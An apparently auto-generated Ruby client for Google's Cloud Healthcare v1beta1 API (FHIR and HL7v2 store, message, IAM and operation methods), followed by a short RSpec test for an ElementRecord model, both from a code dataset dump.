# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def update_project_location_dataset_fhir_store_fhir(name, http_body_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:put, 'v1beta1/{+name}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.request_object = http_body_object
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the contents of a version (current or historical) of a FHIR resource
# by version ID.
# Implements the FHIR standard [vread
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#vread).
# On success, the response body will contain a JSON-encoded representation
# of the resource.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# @param [String] name
# The name of the resource version to retrieve.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def vread_project_location_dataset_fhir_store_fhir(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates a new HL7v2 store within the parent dataset.
# @param [String] parent
# The name of the dataset this HL7v2 store belongs to.
# @param [Google::Apis::HealthcareV1beta1::Hl7V2Store] hl7_v2_store_object
# @param [String] hl7_v2_store_id
# The ID of the HL7v2 store that is being created.
# The string must match the following regex: `[\p`L`\p`N`_\-\.]`1,256``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Hl7V2Store] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Hl7V2Store]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def create_project_location_dataset_hl7_v2_store(parent, hl7_v2_store_object = nil, hl7_v2_store_id: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/hl7V2Stores', options)
command.request_representation = Google::Apis::HealthcareV1beta1::Hl7V2Store::Representation
command.request_object = hl7_v2_store_object
command.response_representation = Google::Apis::HealthcareV1beta1::Hl7V2Store::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Hl7V2Store
command.params['parent'] = parent unless parent.nil?
command.query['hl7V2StoreId'] = hl7_v2_store_id unless hl7_v2_store_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes the specified HL7v2 store and removes all messages that are
# contained within it.
# @param [String] name
# The resource name of the HL7v2 store to delete.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_dataset_hl7_v2_store(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Empty::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Empty
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the specified HL7v2 store.
# @param [String] name
# The resource name of the HL7v2 store to get.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Hl7V2Store] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Hl7V2Store]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_dataset_hl7_v2_store(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Hl7V2Store::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Hl7V2Store
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the access control policy for a resource.
# Returns an empty policy if the resource exists and does not have a policy
# set.
# @param [String] resource
# REQUIRED: The resource for which the policy is being requested.
# See the operation documentation for the appropriate value for this field.
# @param [Fixnum] options_requested_policy_version
# Optional. The policy format version to be returned.
# Valid values are 0, 1, and 3. Requests specifying an invalid value will be
# rejected.
# Requests for policies with any conditional bindings must specify version 3.
# Policies without any conditional bindings may specify any valid value or
# leave the field unset.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Policy] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Policy]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_dataset_hl7_v2_store_iam_policy(resource, options_requested_policy_version: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+resource}:getIamPolicy', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Policy::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Policy
command.params['resource'] = resource unless resource.nil?
command.query['options.requestedPolicyVersion'] = options_requested_policy_version unless options_requested_policy_version.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists the HL7v2 stores in the given dataset.
# @param [String] parent
# Name of the dataset.
# @param [String] filter
# Restricts stores returned to those matching a filter. Syntax:
# https://cloud.google.com/appengine/docs/standard/python/search/query_strings
# Only filtering on labels is supported. For example, `labels.key=value`.
# @param [Fixnum] page_size
# Limit on the number of HL7v2 stores to return in a single response.
# If zero the default page size of 100 is used.
# @param [String] page_token
# The next_page_token value returned from the previous List request, if any.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::ListHl7V2StoresResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::ListHl7V2StoresResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_project_location_dataset_hl7_v2_stores(parent, filter: nil, page_size: nil, page_token: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/hl7V2Stores', options)
command.response_representation = Google::Apis::HealthcareV1beta1::ListHl7V2StoresResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::ListHl7V2StoresResponse
command.params['parent'] = parent unless parent.nil?
command.query['filter'] = filter unless filter.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Updates the HL7v2 store.
# @param [String] name
# Output only. Resource name of the HL7v2 store, of the form
# `projects/`project_id`/datasets/`dataset_id`/hl7V2Stores/`hl7v2_store_id``.
# @param [Google::Apis::HealthcareV1beta1::Hl7V2Store] hl7_v2_store_object
# @param [String] update_mask
# The update mask applies to the resource. For the `FieldMask` definition,
# see
# https://developers.google.com/protocol-buffers/docs/reference/google.protobuf#
# fieldmask
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Hl7V2Store] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Hl7V2Store]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def patch_project_location_dataset_hl7_v2_store(name, hl7_v2_store_object = nil, update_mask: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:patch, 'v1beta1/{+name}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::Hl7V2Store::Representation
command.request_object = hl7_v2_store_object
command.response_representation = Google::Apis::HealthcareV1beta1::Hl7V2Store::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Hl7V2Store
command.params['name'] = name unless name.nil?
command.query['updateMask'] = update_mask unless update_mask.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Sets the access control policy on the specified resource. Replaces any
# existing policy.
# Can return Public Errors: NOT_FOUND, INVALID_ARGUMENT and PERMISSION_DENIED
# @param [String] resource
# REQUIRED: The resource for which the policy is being specified.
# See the operation documentation for the appropriate value for this field.
# @param [Google::Apis::HealthcareV1beta1::SetIamPolicyRequest] set_iam_policy_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Policy] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Policy]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def set_hl7_v2_store_iam_policy(resource, set_iam_policy_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+resource}:setIamPolicy', options)
command.request_representation = Google::Apis::HealthcareV1beta1::SetIamPolicyRequest::Representation
command.request_object = set_iam_policy_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Policy::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Policy
command.params['resource'] = resource unless resource.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Returns permissions that a caller has on the specified resource.
# If the resource does not exist, this will return an empty set of
# permissions, not a NOT_FOUND error.
# Note: This operation is designed to be used for building permission-aware
# UIs and command-line tools, not for authorization checking. This operation
# may "fail open" without warning.
# @param [String] resource
# REQUIRED: The resource for which the policy detail is being requested.
# See the operation documentation for the appropriate value for this field.
# @param [Google::Apis::HealthcareV1beta1::TestIamPermissionsRequest] test_iam_permissions_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def test_hl7_v2_store_iam_permissions(resource, test_iam_permissions_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+resource}:testIamPermissions', options)
command.request_representation = Google::Apis::HealthcareV1beta1::TestIamPermissionsRequest::Representation
command.request_object = test_iam_permissions_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse
command.params['resource'] = resource unless resource.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates a message and sends a notification to the Cloud Pub/Sub topic. If
# configured, the MLLP adapter listens to messages created by this method and
# sends those back to the hospital. A successful response indicates the
# message has been persisted to storage and a Cloud Pub/Sub notification has
# been sent. Sending to the hospital by the MLLP adapter happens
# asynchronously.
# @param [String] parent
# The name of the dataset this message belongs to.
# @param [Google::Apis::HealthcareV1beta1::CreateMessageRequest] create_message_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Message] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Message]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def create_message(parent, create_message_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/messages', options)
command.request_representation = Google::Apis::HealthcareV1beta1::CreateMessageRequest::Representation
command.request_object = create_message_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Message::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Message
command.params['parent'] = parent unless parent.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes an HL7v2 message.
# @param [String] name
# The resource name of the HL7v2 message to delete.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_dataset_hl7_v2_store_message(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Empty::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Empty
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets an HL7v2 message.
# @param [String] name
# The resource name of the HL7v2 message to retrieve.
# @param [String] view
# Specifies which parts of the Message resource to return in the response.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Message] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Message]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_dataset_hl7_v2_store_message(name, view: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Message::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Message
command.params['name'] = name unless name.nil?
command.query['view'] = view unless view.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Ingests a new HL7v2 message from the hospital and sends a notification to
# the Cloud Pub/Sub topic. Return is an HL7v2 ACK message if the message was
# successfully stored. Otherwise an error is returned. If an identical
# HL7v2 message is created twice only one resource is created on the server
# and no error is reported.
# @param [String] parent
# The name of the HL7v2 store this message belongs to.
# @param [Google::Apis::HealthcareV1beta1::IngestMessageRequest] ingest_message_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::IngestMessageResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::IngestMessageResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def ingest_message(parent, ingest_message_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/messages:ingest', options)
command.request_representation = Google::Apis::HealthcareV1beta1::IngestMessageRequest::Representation
command.request_object = ingest_message_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::IngestMessageResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::IngestMessageResponse
command.params['parent'] = parent unless parent.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists all the messages in the given HL7v2 store with support for filtering.
# Note: HL7v2 messages are indexed asynchronously, so there might be a slight
# delay between the time a message is created and when it can be found
# through a filter.
# @param [String] parent
# Name of the HL7v2 store to retrieve messages from.
# @param [String] filter
# Restricts messages returned to those matching a filter. Syntax:
# https://cloud.google.com/appengine/docs/standard/python/search/query_strings
# Fields/functions available for filtering are:
# * `message_type`, from the MSH-9 segment. For example,
# `NOT message_type = "ADT"`.
# * `send_date` or `sendDate`, the YYYY-MM-DD date the message was sent in
# the dataset's time_zone, from the MSH-7 segment. For example,
# `send_date < "2017-01-02"`.
# * `send_time`, the timestamp when the message was sent, using the
# RFC3339 time format for comparisons, from the MSH-7 segment. For example,
# `send_time < "2017-01-02T00:00:00-05:00"`.
# * `send_facility`, the care center that the message came from, from the
# MSH-4 segment. For example, `send_facility = "ABC"`.
# * `PatientId(value, type)`, which matches if the message lists a patient
# having an ID of the given value and type in the PID-2, PID-3, or PID-4
# segments. For example, `PatientId("123456", "MRN")`.
# * `labels.x`, a string value of the label with key `x` as set using the
# Message.labels
# map. For example, `labels."priority"="high"`. The operator `:*` can be used
# to assert the existence of a label. For example, `labels."priority":*`.
# Limitations on conjunctions:
# * Negation on the patient ID function or the labels field is not
# supported. For example, these queries are invalid:
# `NOT PatientId("123456", "MRN")`, `NOT labels."tag1":*`,
# `NOT labels."tag2"="val2"`.
# * Conjunction of multiple patient ID functions is not supported, for
# example this query is invalid:
# `PatientId("123456", "MRN") AND PatientId("456789", "MRN")`.
# * Conjunction of multiple labels fields is also not supported, for
# example this query is invalid: `labels."tag1":* AND labels."tag2"="val2"`.
# * Conjunction of one patient ID function, one labels field and conditions
# on other fields is supported. For example, this query is valid:
# `PatientId("123456", "MRN") AND labels."tag1":* AND message_type = "ADT"`.
# @param [String] order_by
# Orders messages returned by the specified order_by clause.
# Syntax: https://cloud.google.com/apis/design/design_patterns#sorting_order
# Fields available for ordering are:
# * `send_time`
# @param [Fixnum] page_size
# Limit on the number of messages to return in a single response.
# If zero the default page size of 100 is used.
# @param [String] page_token
# The next_page_token value returned from the previous List request, if any.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::ListMessagesResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::ListMessagesResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_project_location_dataset_hl7_v2_store_messages(parent, filter: nil, order_by: nil, page_size: nil, page_token: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/messages', options)
command.response_representation = Google::Apis::HealthcareV1beta1::ListMessagesResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::ListMessagesResponse
command.params['parent'] = parent unless parent.nil?
command.query['filter'] = filter unless filter.nil?
command.query['orderBy'] = order_by unless order_by.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Update the message.
# @param [String] name
# Resource name of the Message, of the form
# `projects/`project_id`/datasets/`dataset_id`/hl7V2Stores/`hl7_v2_store_id`/
# messages/`message_id``.
# Assigned by the server.
# @param [Google::Apis::HealthcareV1beta1::Message] message_object
# @param [String] update_mask
# The update mask applies to the resource. For the `FieldMask` definition,
# see
# https://developers.google.com/protocol-buffers/docs/reference/google.protobuf#
# fieldmask
# Only the `labels` field is allowed to be updated.
# The labels in the request are merged with the existing set of labels.
# Existing labels with the same keys are updated.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Message] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Message]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def patch_project_location_dataset_hl7_v2_store_message(name, message_object = nil, update_mask: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:patch, 'v1beta1/{+name}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::Message::Representation
command.request_object = message_object
command.response_representation = Google::Apis::HealthcareV1beta1::Message::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Message
command.params['name'] = name unless name.nil?
command.query['updateMask'] = update_mask unless update_mask.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the latest state of a long-running operation. Clients can use this
# method to poll the operation result at intervals as recommended by the API
# service.
# @param [String] name
# The name of the operation resource.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_dataset_operation(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Operation::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists operations that match the specified filter in the request. If the
# server doesn't support this method, it returns `UNIMPLEMENTED`.
# NOTE: the `name` binding allows API services to override the binding
# to use different resource name schemes, such as `users/*/operations`. To
# override the binding, API services can add a binding such as
# `"/v1/`name=users/*`/operations"` to their service configuration.
# For backwards compatibility, the default name includes the operations
# collection id, however overriding users must ensure the name binding
# is the parent resource, without the operations collection id.
# @param [String] name
# The name of the operation's parent resource.
# @param [String] filter
# The standard list filter.
# @param [Fixnum] page_size
# The standard list page size.
# @param [String] page_token
# The standard list page token.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::ListOperationsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::ListOperationsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_project_location_dataset_operations(name, filter: nil, page_size: nil, page_token: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}/operations', options)
command.response_representation = Google::Apis::HealthcareV1beta1::ListOperationsResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::ListOperationsResponse
command.params['name'] = name unless name.nil?
command.query['filter'] = filter unless filter.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
protected
def apply_command_defaults(command)
command.query['key'] = key unless key.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
end
end
end
end
end
| 63.651908 | 184 | 0.678817 |
383c0fe26f47ddaae9c1374f6aa3d5d1c037ea64
| 1,218 |
# == Schema Information
#
# Table name: element_records
#
# id :bigint not null, primary key
# Person ID :string(255)
# Element Entry ID :string(255)
# Effective Start Date :date
# Effective End Date :date
# Element Entry Type :string(255)
# Assignment ID :string(255)
# Element Type ID :string(255)
# Element Type Name :string(255)
# Earned Date :date
# Entry Value 1 :string(255)
# Entry Value 2 :string(255)
# Entry Value 3 :string(255)
# Entry Value 4 :string(255)
# Entry Value 5 :string(255)
# Entry Value 6 :string(255)
# Entry Value 7 :string(255)
# Entry Value 8 :string(255)
# Entry Value 9 :string(255)
# Entry Value 10 :string(255)
# Entry Value 11 :string(255)
# Entry Value 12 :string(255)
# Entry Value 13 :string(255)
# Entry Value 14 :string(255)
# Entry Value 15 :string(255)
# Last Update Date :datetime
# created_at :datetime not null
# updated_at :datetime not null
#
describe ElementRecord, type: :model do
it { expect(ElementRecord.new).to be_valid }
end
| 32.918919 | 63 | 0.575534 |
